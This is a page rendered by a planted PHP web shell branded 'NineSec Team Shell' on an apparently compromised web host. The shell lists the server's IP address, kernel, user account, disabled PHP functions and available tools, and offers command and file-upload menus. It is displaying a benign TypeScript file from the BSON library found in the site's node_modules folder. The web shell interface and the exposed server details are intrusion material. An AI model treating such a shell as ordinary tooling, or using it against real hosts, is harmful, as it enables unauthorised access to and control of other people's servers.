NineSec Team Shell
Server IP : 92.205.26.207  /  Your IP : 216.73.216.16
Web Server : Apache
System : Linux 207.26.205.92.host.secureserver.net 4.18.0-553.60.1.el8_10.x86_64 #1 SMP Thu Jul 10 04:01:16 EDT 2025 x86_64
User : zikryat ( 1002)
PHP Version : 8.3.23
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/zikryat/public_html/node_modules/bson/src/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/zikryat/public_html/node_modules/bson/src/code.ts
import type { Document } from './bson';
import { BSONValue } from './bson_value';

/** @public */
export interface CodeExtended {
  $code: string;
  $scope?: Document;
}

/**
 * A class representation of the BSON Code type.
 * @public
 * @category BSONType
 */
export class Code extends BSONValue {
  get _bsontype(): 'Code' {
    return 'Code';
  }

  code: string;

  // a code instance having a null scope is what determines whether
  // it is BSONType 0x0D (just code) / 0x0F (code with scope)
  scope: Document | null;

  /**
   * @param code - a string or function.
   * @param scope - an optional scope for the function.
   */
  constructor(code: string | Function, scope?: Document | null) {
    super();
    this.code = code.toString();
    this.scope = scope ?? null;
  }

  toJSON(): { code: string; scope?: Document } {
    if (this.scope != null) {
      return { code: this.code, scope: this.scope };
    }

    return { code: this.code };
  }

  /** @internal */
  toExtendedJSON(): CodeExtended {
    if (this.scope) {
      return { $code: this.code, $scope: this.scope };
    }

    return { $code: this.code };
  }

  /** @internal */
  static fromExtendedJSON(doc: CodeExtended): Code {
    return new Code(doc.$code, doc.$scope);
  }

  /** @internal */
  [Symbol.for('nodejs.util.inspect.custom')](): string {
    return this.inspect();
  }

  inspect(): string {
    const codeJson = this.toJSON();
    return `new Code("${String(codeJson.code)}"${
      codeJson.scope != null ? `, ${JSON.stringify(codeJson.scope)}` : ''
    })`;
  }
}

NineSec Team - 2022